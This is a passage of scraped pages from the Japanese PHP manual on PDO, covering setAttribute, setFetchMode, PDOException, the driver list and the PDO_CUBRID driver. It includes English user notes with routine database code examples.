gunnrosebutpeace at gmail dot com 03-Jun-2008 03:19
It'd better to use SQL_CALC_FOUND_ROWS, if you only use MySQL. It has many advantages as you could retrieve only part of result set (via LIMIT) but still get the total row count.
code:
<?php
$db = new PDO(DSN...);
$db->setAttribute(array(PDO::MYSQL_USE_BUFFERED_QUERY=>TRUE));
$rs  = $db->query('SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 5,15');
$rs1 = $db->query('SELECT FOUND_ROWS()');
$rowCount = (int) $rs1->fetchColumn();
?>
Matt 07-Oct-2007 09:22
Great, while using MySQL5, the only way to get the number of rows after doing a PDO SELECT query is to either execute a separate SELECT COUNT(*) query (or to do count($stmt->fetchAll()), which seems like a ridiculous waste of overhead and programming time.

Another gripe I have about PDO is its inability to get the value of output parameters from stored procedures in some DBMSs, such as SQL Server.

I'm not so sure I'm diggin' PDO yet.


文の属性を設定する

  • ≪ PDOStatement::rowCount
  • PDOStatement::setFetchMode ≫
  • PHP Manual
  • PDOStatement
  • 文の属性を設定する

PDOStatement::setAttribute

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDOStatement::setAttribute — 文の属性を設定する

説明

public PDOStatement::setAttribute ( int $attribute , mixed $value ) : bool

文の属性を設定します。現時点で共通の属性は存在しませんが、 ドライバ固有の属性のみ存在します。

  • PDO::ATTR_CURSOR_NAME (Firebird と ODBC 固有): UPDATE ... WHERE CURRENT OF に対するカーソル名を取得する

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • PDO::getAttribute() - データベース接続の属性を取得する
  • PDO::setAttribute() - 属性を設定する
  • PDOStatement::getAttribute() - 文の属性を取得する

User Contributed Notes

There are no user contributed notes for this page.


この文に対するデフォルトのフェッチモードを設定する

  • ≪ PDOStatement::setAttribute
  • PDOException ≫
  • PHP Manual
  • PDOStatement
  • この文に対するデフォルトのフェッチモードを設定する

PDOStatement::setFetchMode

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.2.0)

PDOStatement::setFetchMode — この文に対するデフォルトのフェッチモードを設定する

説明

public PDOStatement::setFetchMode ( int $mode ) : bool
public PDOStatement::setFetchMode ( int $mode = PDO::FETCH_COLUMN , int $colno ) : bool
public PDOStatement::setFetchMode ( int $mode = PDO::FETCH_CLASS , string $classname , array $ctorargs ) : bool
public PDOStatement::setFetchMode ( int $mode = PDO::FETCH_INTO , object $object ) : bool

パラメータ

mode

フェッチモードは、PDO::FETCH_* 定数の 1 つでなければなりません。

colno

カラム番号。

classname

クラス名。

ctorargs

コンストラクタの引数。

object

オブジェクト。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 フェッチモードを設定する

以下の例は PDOStatement::setFetchMode() がどの様に PDOStatementオブジェクトに対するデフォルトのフェッチモードを 変更するかを例示しています。

<?php
$stmt = $dbh->query('SELECT name, colour, calories FROM fruit');
$stmt->setFetchMode(PDO::FETCH_NUM);
foreach ($stmt as $row) {
    print $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
}

上の例の出力は以下となります。

apple   red     150
banana  yellow  250
orange  orange  300
kiwi    brown   75
lemon   yellow  25
pear    green   150

User Contributed Notes

Kats 24-Aug-2017 09:02
Something very helpful is knowing how to access namespaces from the function. It took me a minute (and Google) to figure out. The ::class property is going to be your best friend in this case.

<?php
$stmt->setFetchMode(PDO::FETCH_CLASS, Name\Space\Class::class);
?>
Dormilich at netscape dot net 13-Jul-2010 02:16
if you want to fetch your result into a class (by using PDO::FETCH_CLASS) and want the constructor to be executed *before* PDO assings the object properties, you need to use the PDO::FETCH_PROPS_LATE constant:

<?php
$stmt = $pdo->prepare("your query");

$stmt->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, "className", $constructorArguments);

# pass parameters, if required by the query
$stmt->execute($parameters);

foreach ($stmt as $row)
{
    // do something with (each of) your object
}
?>
stein_AT_rhrk.uni-kl.de 19-Nov-2007 04:04
Some note on PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE

It took me some time, to realize, that you can not use this fetch-mode in $stm->setFetchMode(), when you want to retrieve objects from the database whereas the type is defined by the first column in the resultset.
You have to define this mode directly in the $stm->fetch() method.

To make it clearer:

$stm = $pdo->query("SELECT * FROM `foo`);
$stm->setFetchMode(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

$object = $stm->fetch();

Will not return the expected object, whereas

$stm = $pdo->query("SELECT * FROM `foo`");

$object = $stm->fetch(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

will give you the object of the class, defined in the first column of `foo`.
matt at kynx dot org 18-Feb-2006 03:13
To fetch the rows into an existing instance of a class, use PDO::FETCH_INTO and pass the object as the second parameter.

The class _must_ have the column names declared as public members, or the script will die. But overloading with __set() and __get() lets it handle any column your query throws at it.

Set the fetch mode right after you call prepare(). It appears you _must_ use execute() - fetch() won't work. A small example, adapted from ext/pdo/tests/pdo_025.phpt:

<?php
class Test
{
    protected $cols;

    function __set($name, $value) {
        $this->cols[$name] = $value;
    }

    function __get($name) {
        return $this->cols[$name];
    }
}

$obj = new Test();
$db = PDOTest::factory();
$stmt = $db->prepare("select * from test");
$stmt->setFetchMode(PDO::FETCH_INTO, $obj);
$stmt->execute();

foreach ($stmt as $a) {
    print_r($a);
}

print_r($obj); // contains the same values as the last iteration above
?>
Dariusz Kielar 12-Feb-2006 10:55
PDO::FETCH_CLASS may be used only with this method and it takes up to three parameters then:
 - int mode
 - string className
 - array constructorArgs (optional)

<?php
$stmt = $pdo -> query('your query');
$stmt -> setFetchMode(PDO::FETCH_CLASS, 'yourClass', array(0 => false));

while($row = $stmt -> fetch())
{
   // $row is an object of "yourClass" class
}
$stmt -> closeCursor();
?>

Note also that the constructor is called AFTER the data is set on the object.


PDOException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

PDO が発するエラーを表します。あなた自身が書いたコードから PDOException をスローしてはいけません。 PHP の例外についての詳細な情報は、 例外 を参照ください。

クラス概要

PDOException extends RuntimeException {
/* プロパティ */
public array $errorInfo ;
protected string $code ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

errorInfo

PDO::errorInfo() あるいは PDOStatement::errorInfo() に対応します。

code

SQLSTATE エラーコード。 Exception::getCode() でアクセスします。

User Contributed Notes

jesse dot chisholm at gmail dot com 12-Jul-2015 02:27
In response to the 15-May-2010 07:45 note from: samuelelliot+php dot net at gmail dot com

Since the most base class Exception takes three arguments, and the previous exception is not the first, ...
Since inherited classes to not implicitly call the parent constructor, ...

I recommend changing his constructor to this:

    public function __construct(string $message = "", int $code = 0, PDOException $e = null)
    {
        // in case they call: new MyException($somePDOException);
        // instead of following the interface.
        //
        if (is_subclass_of($message, PDOException))
        {
            $e = $message;
            $code = $e->getCode();
            $message = $e->getMessage();
        }

        // Let PDOException do its normal thing
        //
        parent::__construct($message, $code, $e);

        // Now to correct the code number.
        //
        $state = $this->getMessage();
        if(!strstr($state, 'SQLSTATE['))
            $state = $this->getCode();
        if(strstr($state, 'SQLSTATE['))
        {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $state, $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
wes at nospampls dot org 20-Jan-2015 04:28
the sqlstate is an hex integer (as string)
if you want to wrap pdoexception, use

throw new MyDBException($pdoe->getMessage(), hexdec($pdoe->getCode()), $pdoe);
radu.potop at wooptoo.com 27-Mar-2014 07:56
Since PDOException returns the error code as a string, you need a constructor like the one below if you wish to rethrow the PDOException as a custom exception.
This constructor does not call the parent::__construct which will enforce the int type on the error code, but set the message and code as properties directly on the custom exception object.

<?php

class CustomException extends PDOException {

    /**
     * Override constructor and set message and code properties.
     * Workaround PHP BUGS #51742, #39615
     */
    public function __construct($message=null, $code=null) {
        $this->message = $message;
        $this->code = $code;
    }

}
Marco01_809 &#34;at&#34; web &#34;dot&#34; de 21-Aug-2010 05:06
This is a PDOException Error handler for Using/Debugging in Web Browser.

<?php
echo '<html><head><title>PHP PDO Tests</title></head><body>';

// Try the following code:
try {
    $db = new PDO('sqlite:database.sdb'); // Create a new PDO Object
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Set Errorhandling to Exception

    $db->query("BlaBlaBla"); // Query something wrong

    $db = null; // "Disconnect"
}
catch (PDOException $err) {
    // Catch Expcetions from the above code for our Exception Handling
    $trace = '<table border="0">';
    foreach ($err->getTrace() as $a => $b) {
        foreach ($b as $c => $d) {
            if ($c == 'args') {
                foreach ($d as $e => $f) {
                    $trace .= '<tr><td><b>' . strval($a) . '#</b></td><td align="right"><u>args:</u></td> <td><u>' . $e . '</u>:</td><td><i>' . $f . '</i></td></tr>';
                }
            } else {
                $trace .= '<tr><td><b>' . strval($a) . '#</b></td><td align="right"><u>' . $c . '</u>:</td><td></td><td><i>' . $d . '</i></td>';
            }
        }
    }
    $trace .= '</table>';
    echo '<br /><br /><br /><font face="Verdana"><center><fieldset style="width: 66%; border: 4px solid white; background: black;"><legend><b>[</b>PHP PDO Error ' . strval($err->getCode()) . '<b>]</b></legend> <table border="0"><tr><td align="right"><b><u>Message:</u></b></td><td><i>' . $err->getMessage() . '</i></td></tr><tr><td align="right"><b><u>Code:</u></b></td><td><i>' . strval($err->getCode()) . '</i></td></tr><tr><td align="right"><b><u>File:</u></b></td><td><i>' . $err->getFile() . '</i></td></tr><tr><td align="right"><b><u>Line:</u></b></td><td><i>' . strval($err->getLine()) . '</i></td></tr><tr><td align="right"><b><u>Trace:</u></b></td><td><br /><br />' . $trace . '</td></tr></table></fieldset></center></font>';
}

echo '</body></html>';
?>
samuelelliot+php dot net at gmail dot com 15-May-2010 12:45
PDOException has two methods for retrieving information about an error. When interpreting the PDOException I run into a problem, the error code that is provided by getCode() is meaningless.  I have come up with a method to make both the error code and message more usable.

A bad username or password would normally provide the following:

CODE : 0
Message : "SQLSTATE[28000] [1045] Access denied for user 'user'@'example.com' (using password: YES)"

Using my extended exception class provides:

CODE: "28000"
Message: "Access denied for user 'user'@'example.com' (using password: YES)"

<?php
class pdoDbException extends PDOException {

    public function __construct(PDOException $e) {
        if(strstr($e->getMessage(), 'SQLSTATE[')) {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $e->getMessage(), $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
}
?>

To walk threw the method; first the beginning of the message is checked for the SQLSTATE text.  If the text is present, message is then parsed to pull the ANSI code, the SQL specific code, and the message.  The parsed values are stored in there respective variables.  The error code variable stores the ANSI code, unless ANSI is 'HT000' (unmapped error code) then SQL specific code is used.

Using this class is easy; when interacting with PDO use a try catch set of blocks, as follows:

<?php
try {
    $pdo = new PDO($dns, $username, $password, $options);
} catch (PDOException $e) {
    throw new pdoDbException($e);
}
?>

Now you can use the normal error methods to retrieve the real error code and message.

<?php
echo $err->getCode(); // Outputs: "28000"
echo $err->getMessage(); // Outputs: "Access denied for user 'user'@'example.com' (using password: YES)"
?>

If you decide to use this code, be aware that the error code is a string (as apposed to PHP standard errors which are integers) as some error codes are alphanumeric.
Typer85 at gmail dot com 22-Jan-2010 06:13
Here is something interesting regarding a PDOException and it involves some of the annoyances that can be associated with PHP's dynamic nature.

PDOException extends from RuntimeException, which in return extends from Exception. As such, it has access to the $code Protected Class Variable, which represents the Exception's code as an Integer (duh!) and can be accessed externally using the Exception::getCode Method.

Here is the interesting part. PDOException actually redefines $code as a String and not an Integer because for its case, $code actually contains the Exception's SQL State, which is composed of characters and numbers.

It is actually documented in the manual that $code is a String and not an Integer but it might not be immedietley clear because it is hidden by the fact that PDOException::getCode is documented to return an Integer and not a String!

Some developers like to catch a PDOException and rethrow it as a different Exception if they wrap their database calls in an external library. For example, consider the following code:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // PHP Fatal Error. Second Argument Has To Be An Integer, But PDOException::getCode Returns A
    // String.
    throw new MyDatabaseException( $Exception->getMessage( ) , $Exception->getCode( ) );
}

?>

Be careful in that you have to typecast the value returned by PDOException::getCode to an Integer BEFORE you pass it as an Argument to your Exception's Constructor. The following will work:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // Note The Typecast To An Integer!
    throw new MyDatabaseException( $Exception->getMessage( ) , (int)$Exception->getCode( ) );
}

?>

Hope this will save some developers some frustrating hours from an otherwise enjoyable job :)

Good Luck,


PDO ドライバ

目次

  • CUBRID (PDO)
  • MS SQL Server (PDO)
  • Firebird (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • MS SQL Server (PDO)
  • Oracle (PDO)
  • ODBC and DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)

以下のドライバが現在 PDO インターフェイスを実装しています。

ドライバ名 | サポートされるデータベース
PDO_CUBRID | Cubrid
PDO_DBLIB | FreeTDS / Microsoft SQL Server / Sybase
PDO_FIREBIRD | Firebird
PDO_IBM | IBM DB2
PDO_INFORMIX | IBM Informix Dynamic Server
PDO_MYSQL | MySQL 3.x/4.x/5.x
PDO_OCI | Oracle Call Interface
PDO_ODBC | ODBC v3 (IBM DB2、unixODBC そして win32 ODBC)
PDO_PGSQL | PostgreSQL
PDO_SQLITE | SQLite 3 と SQLite 2
PDO_SQLSRV | Microsoft SQL Server / SQL Azure

User Contributed Notes

fleduc dot perso at gmail dot com 18-Sep-2017 01:33
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in [StackOverflow][1]

https://stackoverflow.com/a/46245990/1330248
frankjustme2004 at yahoo dot com 07-Mar-2016 02:43
For those seeking Netezza access you can use php_odbc or pdo_odbc. They both work flawlessly. Found some issues between Web vs CLI that were around LD_LIBRARY_PATH setting in Unix. As long as this is set in Unix and Apache environment it will work.


CUBRID 関数 (PDO_CUBRID)

はじめに

PDO_CUBRID は PHP Data Objects (PDO) インターフェイス を実装したドライバで、PHP から CUBRID データベースにアクセスするためのものです。

注意:

現在のバージョンの PDO_CUBRID は、持続的接続に対応していません。

インストール手順

PDO_CUBRID 拡張モジュールをビルドするには、PHP を動かしているシステム上に CUBRID DBMS をインストールしなければなりません。 PDO_CUBRID は » PECL 拡張モジュールなので、 PECL 拡張モジュールのインストール の手順に従えば PDO_CUBRID をインストールできます。configure コマンドを実行するときに、次のようにして CUBRID のベースディレクトリの場所を指定します。

   $ ./configure --with-pdo-cubrid=/path/to/CUBRID[,shared]
configure コマンドはデフォルトで、環境変数 CUBRID の値を使います。

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください Linux や Windows への手動でのインストールに関する詳細な情報は、 PECL の CUBRID パッケージに含まれる build-guide.html を参照ください。

機能

PDO_CUBRID の機能
機能 | 説明
スクロール可能なカーソル | PDO_CUBRID はスクロール可能なカーソルをサポートしており、デフォルトの型は前進のみのカーソルです。 PDO::prepare() を使えばカーソルの型を変えることができます。
タイムアウト | PDO_CUBRID は sql ステートメントの実行時のタイムアウトの設定をサポートしています。 PDO::setAttribute() を使えばタイムアウトの値を設定できます。
Autocommit_mode およびトランザクション PDO_CUBRID は自動コミットとトランザクションをサポートしており、 自動コミットモードがデフォルトで有効になっています。 PDO::setAttribute() を使えば状態を変更することができます。

PDO::beginTransaction() でトランザクションを開始すると
autocommit_mode は自動的に無効となり、PDO::commit() あるいは
PDO::rollBack() の後で元の状態に戻します。autocommit_mode
を無効にする前に、それまでの作業は自動的にコミットされることに注意しましょう。
複数の SQL 文 | PDO_CUBRID は複数の SQL 文をサポートしています。 複数の SQL 文はセミコロン (;) で区切られます。
スキーマ情報 | PDO_CUBRID では PDO::cubrid_schema() 関数を用意しており、これでスキーマ情報を取得します。
LOBs PDO_CUBRID は BLOB/CLOB データ型をサポートしています。PDO における LOB はストリームで表現されているので、LOB を追加するにはストリームをバインドし、 LOB を取得するには CUBRID PDO が返すストリームを読み込みます。

例1 CUBRID PDO での LOB の追加

<?php
$fp = fopen('lob_test.png', 'rb');

$sql_stmt = "INSERT INTO lob_test(name, content) VALUES('lob_test.png', ?)";

$stmt = $dbh->prepare($sql_stmt);
$ret = $stmt->bindParam(1, $fp, PDO::PARAM_LOB);
$ret = $stmt->execute();
?>

例2 CUBRID PDO での LOB の取得

<?php
$sql_stmt = "SELECT content FROM lob_test WHERE name='lob_test.png'";

$stmt = $dbh->prepare($sql_stmt);
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_NUM);

header("Content-Type: image/png");
fpassthru($result[0]);
?>

カラムのメタ情報 CUBRID PDO における PDOStatement::getColumnMeta() は、次の値を含む連想配列を返します。
  • type
  • name
  • table
  • def
  • precision
  • scale
  • not_null
  • auto_increment
  • unique_key
  • multiple_key
  • primary_key
  • foreign_key
  • reverse_index
  • reverse_unique
コレクションデータ型 PDO_CUBRID は SET/MULTISET/SEQUENCE といったコレクションに対応しています。 データ型を省略した場合のデフォルトは char で、次の例のようになります。

例3 CUBRID PDO で、デフォルトのデータ型のセットを追加する例

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(VARCHAR))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array("abc","def","ghi");
$ret = $stmt->bindParam(1, $data, PDO::PARAM_NULL);
$ret = $stmt->execute();
var_Dump($ret);
?>

例4 CUBRID PDO でのセットの追加でデータ型を指定する例

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(int))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array(1,2,3,4);
$ret = $stmt->bindParam(1, $data, 0,0,"int");
$ret = $stmt->execute();
var_Dump($ret);
?>

CUBRID のバインドデータ型 (PDOStatement::bindParam の五番目のパラメータ)
  • CHAR
  • STRING
  • NCHAR
  • VARNCHAR
  • BIT
  • VARBIT
  • NUMERIC
  • NUMBER
  • INT
  • SHORT
  • BIGINT
  • MONETARY
  • FLOAT
  • DOUBLE
  • DATE
  • TIME
  • DATETIME
  • TIMESTAMP

定義済み定数

このドライバでは以下の定数が定義されて います。これは拡張モジュールが PHP に組み込まれているか、実行時に動的にロード されている場合のみ使用可能です。さらに、これらのドライバ固有の定数は そのドライバを使用している場合にのみ使用されます。 あるドライバ固有の属性を別のドライバで使うと、予期せぬ結果を引き起こします。 もし複数のドライバを使用しているコードを実行している場合、 PDO::getAttribute() で PDO::ATTR_DRIVER_NAME 属性を使用することで、使用中のドライバ名を調べることが可能です。

これらの定数を使ってデータベースの属性を設定します。これらの定数は PDO::getAttribute() あるいは PDO::setAttribute() に渡します。

PDO::CUBRID 属性フラグ
定数 | 説明
PDO::CUBRID_ATTR_ISOLATION_LEVEL | データベース接続に指定するトランザクション分離レベル。
PDO::CUBRID_ATTR_LOCK_TIMEOUT | トランザクションのタイムアウト秒数。
PDO::CUBRID_ATTR_MAX_STRING_LENGTH | 読み込み専用。CUBRID PDO API を使うときの bit, varbit, char, varchar, nchar, nchar varying データ型の最大文字数。

これらの定数を使ってトランザクション分離レベルを設定します。これらの定数は PDO::getAttribute() に渡したり PDO::setAttribute() から返されたりします。

PDO::CUBRID 分離レベルフラグ
定数 | 説明
PDO::TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | 最も低い分離レベル (1)。タプルについて ダーティリード、ノンリピータブルリード、ファントムリードが発生し、 テーブルについてもノンリピータブルリードが発生します。
PDO::TRAN_COMMIT_CLASS_COMMIT_INSTANCE | 比較的低い分離レベル (2)。ダーティリードは発生しませんが、 ノンリピータブルリードやファントムリードは発生します。
PDO::TRAN_REP_CLASS_UNCOMMIT_INSTANCE | CUBRID のデフォルトの分離レベル (3)。タプルについては ダーティリード、ノンリピータブルリード、ファントムリードが発生しますが、 テーブルについてはリピータブルリードが保証されています。
PDO::TRAN_REP_CLASS_COMMIT_INSTANCE | 比較的低い分離レベル (4)。ダーティリードは発生しませんが、 ノンリピータブルリードやファントムリードは発生します。
PDO::TRAN_REP_CLASS_REP_INSTANCE | 比較的高い分離レベル (5)。ダーティリードやノンリピータブルリードは発生しませんが、 ファントムリードは発生します。
PDO::TRAN_SERIALIZABLE | 最も高い分離レベル (6)。並行性に関する問題 (ダーティリード、ノンリピータブルリード、ファントムリードなど) は発生しません。

これらの定数を使ってスキーマ情報を取得します。これらの定数は PDO::cubrid_schema() に渡します。

PDO::CUBRID スキーマフラグ
定数 | 説明
PDO::CUBRID_SCH_TABLE | CUBRID のテーブルの名前と型を取得します。
PDO::CUBRID_SCH_VIEW | CUBRID のビューの名前と型を取得します。
PDO::CUBRID_SCH_QUERY_SPEC | ビューのクエリ定義を取得します。
PDO::CUBRID_SCH_ATTRIBUTE | テーブルのカラムの属性を取得します。
PDO::CUBRID_SCH_TABLE_ATTRIBUTE | テーブルの属性を取得します。
PDO::CUBRID_SCH_METHOD | インスタンスメソッドを取得します。インスタンスメソッドはクラスのインスタンスからコールされるメソッドです。 たいていの操作はインスタンス上で行われるので、クラスメソッドよりも頻繁に使います。
PDO::CUBRID_SCH_TABLE_METHOD | クラスメソッドを取得します。クラスメソッドはクラスオブジェクトからコールされるメソッドです。 新しいクラスのインスタンスを作ったり初期化したりするときによく使います。 また、クラスの属性にアクセスしたりそれを更新したりするときにも使います。
PDO::CUBRID_SCH_METHOD_FILE | テーブルのメソッドが定義されているファイルの情報を取得します。
PDO::CUBRID_SCH_SUPER_TABLE | このテーブルの属性の継承元のテーブルの名前と型を取得します。
PDO::CUBRID_SCH_SUB_TABLE | このテーブルの属性を継承しているテーブルの名前と型を取得します。
PDO::CUBRID_SCH_CONSTRAINT | 亭ブルの制約を取得します。
PDO::CUBRID_SCH_TRIGGER | テーブルのトリガーを取得します。
PDO::CUBRID_SCH_TABLE_PRIVILEGE | テーブルの権限情報を取得します。
PDO::CUBRID_SCH_COL_PRIVILEGE | カラムの権限情報を取得します。
PDO::CUBRID_SCH_DIRECT_SUPER_TABLE | 直接の親テーブルを取得します。
PDO::CUBRID_SCH_PRIMARY_KEY | テーブルの主キーを取得します。
PDO::CUBRID_SCH_IMPORTED_KEYS | テーブルのインポートしたキーを取得します。
PDO::CUBRID_SCH_EXPORTED_KEYS | テーブルのエクスポートしたキーを取得します。
PDO::CUBRID_SCH_CROSS_REFERENCE | ふたつのテーブルの参照関係を取得します。

目次

  • PDO_CUBRID DSN — CUBRID データベースへの接続
  • PDO::cubrid_schema — 指定したスキーマ情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


CUBRID データベースへの接続

  • ≪ CUBRID (PDO)
  • PDO::cubrid_schema ≫
  • PHP Manual
  • CUBRID (PDO)
  • CUBRID データベースへの接続

PDO_CUBRID DSN

(PECL PDO_CUBRID >= 8.3.0.0001)

PDO_CUBRID DSN — CUBRID データベースへの接続

説明

PDO_CUBRID のデータソース名 (DSN) は次の要素をセミコロン区切りで表したものです。

DSN プレフィックス

DSN プレフィックスは cubrid: です。

host

データベースサーバーのあるホスト名。

port

データベースサーバーが動いているポート。

dbname

データベースの名前。

注意

注意:

CUBRID との接続を確立するには、DSN 以外にもユーザー名とパスワードが必要です。

例

例1 PDO_CUBRID DSN の例

CUBRID データベースに接続するための PDO_CUBRID DSN の例です。

cubrid:host=localhost;port=33000;dbname=demodb

User Contributed Notes

There are no user contributed notes for this page.


指定したスキーマ情報を取得する

  • ≪ PDO_CUBRID DSN
  • MS SQL Server (PDO) ≫
  • PHP Manual
  • CUBRID (PDO)
  • 指定したスキーマ情報を取得する

PDO::cubrid_schema

(PECL PDO_CUBRID >= 8.3.0.0001)

PDO::cubrid_schema — 指定したスキーマ情報を取得する

説明

public PDO::cubrid_schema ( int $schema_type , string $table_name = ? , string $col_name = ? ) : array

指定したスキーマ情報をデータベースから取得します。 テーブルの情報を知りたい場合は table_name を指定しなければなりません。また、 カラムの情報を知りたければ col_name を指定しなければなりません (PDO::CUBRID_SCH_COL_PRIVILEGE とともにしか使えません)。

この関数の返す結果は二次元の配列になります (column (associative array) * row (numeric array))。 次の表は、スキーマの型と返り値の構造を示したものです。

型ごとの返り値の構造
スキーマ | カラム番号 | カラム名 | 値
PDO::CUBRID_SCH_TABLE | 1 | NAME |
 | 2 | TYPE | 0:システムテーブル 1:ビュー 2:テーブル
PDO::CUBRID_SCH_VIEW | 1 | NAME |
 | 2 | TYPE | 1:ビュー
PDO::CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
PDO::CUBRID_SCH_ATTRIBUTE / PDO::CUBRID_SCH_TABLE_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:インデックス
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:共有
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:キー
PDO::CUBRID_SCH_METHOD / PDO::CUBRID_SCH_TABLE_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
PDO::CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
PDO::CUBRID_SCH_SUPER_TABLE / PDO::CUBRID_SCH_DIRECT_SUPER_TABLE / PDO::CUBRID_SCH_SUB_TABLE | 1 | CLASS_NAME |
 | 2 | TYPE | 0:システムテーブル 1:ビュー 2:テーブル
PDO::CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:主キー
 | 7 | KEY_ORDER | base:1
PDO::CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
PDO::CUBRID_SCH_TABLE_PRIVILEGE / PDO::CUBRID_SCH_COL_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
PDO::CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
PDO::CUBRID_SCH_IMPORTED_KEYS / PDO::CUBRID_SCH_EXPORTED_KEYS / PDO::CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

パラメータ

schema_type

知りたいスキーマの型。

table_name

スキーマを知りたいテーブル。

col_name

スキーマを知りたいカラム。

返り値

処理に成功すると、スキーマ情報を含む配列を返します。

処理に失敗した場合は FALSE を返します。

例

例1 PDO::cubrid_schema() の例

これは、game テーブルの主キーと外部キーを取得する例です。

<?php
$pk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_PRIMARY_KEY, "game");
print_r($pk_list);

$fk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_IMPORTED_KEYS, "game");
print_r($fk_list);
?>

上の例の出力は以下となります。

Result:
Array
(
    [0] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => athlete_code
            [KEY_SEQ] => 3
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [1] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => event_code
            [KEY_SEQ] => 2
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [2] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => host_year
            [KEY_SEQ] => 1
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

)
Array
(
    [0] => Array
        (
            [PKTABLE_NAME] => athlete
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => athlete_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_athlete_code
            [PK_NAME] => pk_athlete_code
        )

    [1] => Array
        (
            [PKTABLE_NAME] => event
            [PKCOLUMN_NAME] => code
